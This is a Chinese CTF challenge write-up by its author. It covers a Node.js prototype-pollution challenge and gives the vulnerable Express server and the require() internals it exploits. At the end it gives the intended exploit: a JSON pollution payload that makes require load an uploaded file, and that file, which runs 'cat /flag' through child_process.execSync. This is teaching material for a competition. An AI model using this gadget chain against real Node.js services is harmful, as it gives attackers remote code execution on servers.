笔者第一次出题,没有考虑周到,望大家见谅
确实是参考了 BalsnCTF 2022 2linenodejs
。这道题目是不存在模块引用的,而是寻找内部的gadget
。
笔者看到这个点感觉很有意思所以出了这道环境更真实一点的题(也就是把依赖全放在全局罢了
题目 server.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 const express = require ("express" );const path = require ("path" );const fs = require ("fs" );const multer = require ("multer" );const PORT = process.env .port || 3000 const app = express ();global = "global" app.listen (PORT , () => { console .log (`listen at ${PORT} ` ); }); function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } } let objMulter = multer ({ dest : "./upload" });app.use (objMulter.any ()); app.use (express.static ("./public" )); app.post ("/upload" , (req, res ) => { try { let oldName = req.files [0 ].path ; let newName = req.files [0 ].path + path.parse (req.files [0 ].originalname ).ext ; fs.renameSync (oldName, newName); res.send ({ err : 0 , url : "./upload/" + req.files [0 ].filename + path.parse (req.files [0 ].originalname ).ext }); } catch (error){ res.send (require ('./err.js' ).getRandomErr ()) } }); app.post ('/pollution' , require ('body-parser' ).json (), (req, res ) => { let data = {}; try { merge (data, req.body ); res.send ('Register successfully!tql' ) } catch (error){ res.send (require ('./err.js' ).getRandomErr ()) } })
err.js:
1 2 3 4 5 6 7 8 9 10 11 12 obj={ errDict : [ '发生肾么事了!!!发生肾么事了!!!' , '随意污染靶机会寄的,建议先本地测' , '李在干神魔👹' , '真寄了就重开把' , ], getRandomErr :() => { return obj.errDict [Math .floor (Math .random () * 4 )] } } module .exports = obj
题解 详细源码追踪介绍可以看Node.js require() RCE复现 (hujiekang.top)
找到readPackageScope:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function readPackageScope (checkPath ) { const rootSeparatorIndex = StringPrototypeIndexOf (checkPath, sep); let separatorIndex; do { separatorIndex = StringPrototypeLastIndexOf (checkPath, sep); checkPath = StringPrototypeSlice (checkPath, 0 , separatorIndex); if (StringPrototypeEndsWith (checkPath, sep + 'node_modules' )) return false ; const pjson = readPackage (checkPath + sep); if (pjson) return { data : pjson, path : checkPath, }; } while (separatorIndex > rootSeparatorIndex); return false ; }
函数会逐级检查 node_modules
的存在,如果到了最后一级为目录为 node_modules
会直接返回 false
。而如果不存在题目环境下没有 pakcgae.json
,会导致 readPackageScope()
返回 false
并使 {data: pkg, path: pkgPath}
保留为空对象,导致了原型链污染漏洞存在。
继续追踪对象{ data: pkg, path: pkgPath }
,找到 resolvePackageTarget
。
resolvePackageTarget
的第一个判断函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function isConditionalExportsMainSugar (exports , packageJSONUrl, base ) { if (typeof exports === 'string' || ArrayIsArray (exports )) return true ; if (typeof exports !== 'object' || exports === null ) return false ; const keys = ObjectGetOwnPropertyNames (exports ); let isConditionalSugar = false ; let i = 0 ; for (let j = 0 ; j < keys.length ; j++) { const key = keys[j]; const curIsConditionalSugar = key === '' || key[0 ] !== '.' ; if (i++ === 0 ) { isConditionalSugar = curIsConditionalSugar; } else if (isConditionalSugar !== curIsConditionalSugar) { throw new ERR_INVALID_PACKAGE_CONFIG ( fileURLToPath (packageJSONUrl), base, '"exports" cannot contain some keys starting with \'.\' and some not.' + ' The exports object must either be an object of package subpath keys' + ' or an object of main entry condition name keys only.' ); } } return isConditionalSugar; }
如果exports
是字符串或者数组,或者exports
是个对象且所有属性名都满足key === '' || key[0] !== '.'
条件,函数返回true
,此时为exports
添加了一层.
属性 如果exports
是对象,且key === '' || key[0] !== '.'
,或者exports
为null
,函数返回false
,exports
保持原样
接下来进行的判断ObjectPrototypeHasOwnProperty(exports, packageSubpath)
,检查exports里面有无为packageSubpath
的属性。而packageSubpath
就是前一层已经调用的expansion
。
name
与要引入的文件名相同,此时expansion
为.
,此时exports
可以满足条件name
为.
,此时expansion
为./err
,此时exports自己构造:{"./err":"data"}
因为是basic
难度所以我在服务端提供了上传文件接口,预期要发生merge
之后触发报错,加载被污染的err.js
。
由此构造payload
如下
1 { "constructor" : { "prototype" : { "data" : { "exports" : { "." : "./123f8fee34d43ac4e726dd96712e3b4a.js" } , "name" : "./err.js" } , "path" : "./upload" } } }
疏忽及其他 因为比赛难度为 basic
,所以提供了上传接口来简化
本觉得这道题追踪下源码勉强能被解出的,后来四个小时没人解,只能放上链接了(因此导致了非预期解法)。
以为去年的gadget
早就修了,没想到抄下来还能直接打。
这里有一些别人收集的 gadget
也可以使用BlackFan/client-side-prototype-pollution: Prototype Pollution and useful Script Gadgets (github.com)
还有就是虽然环境比原来真实一点,但不提示”要通过require
来实现RCE
“属实是我有点谜语人了。甚至好多人在我写了好长一段的/upload
路由上下功夫。笔者在这里表达一下歉意。
感谢 Xenny ,感谢 NSS
预期exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 obj={ getRandomErr :() => { return require ('child_process' ).execSync ('cat /flag' ) } } module .exports = obj{"constructor" :{ "prototype" :{ "data" :{ "exports" :{ "." :"./123f8fee34d43ac4e726dd96712e3b4a.js" }, "name" :"./err.js" }, "path" :"./upload" } } }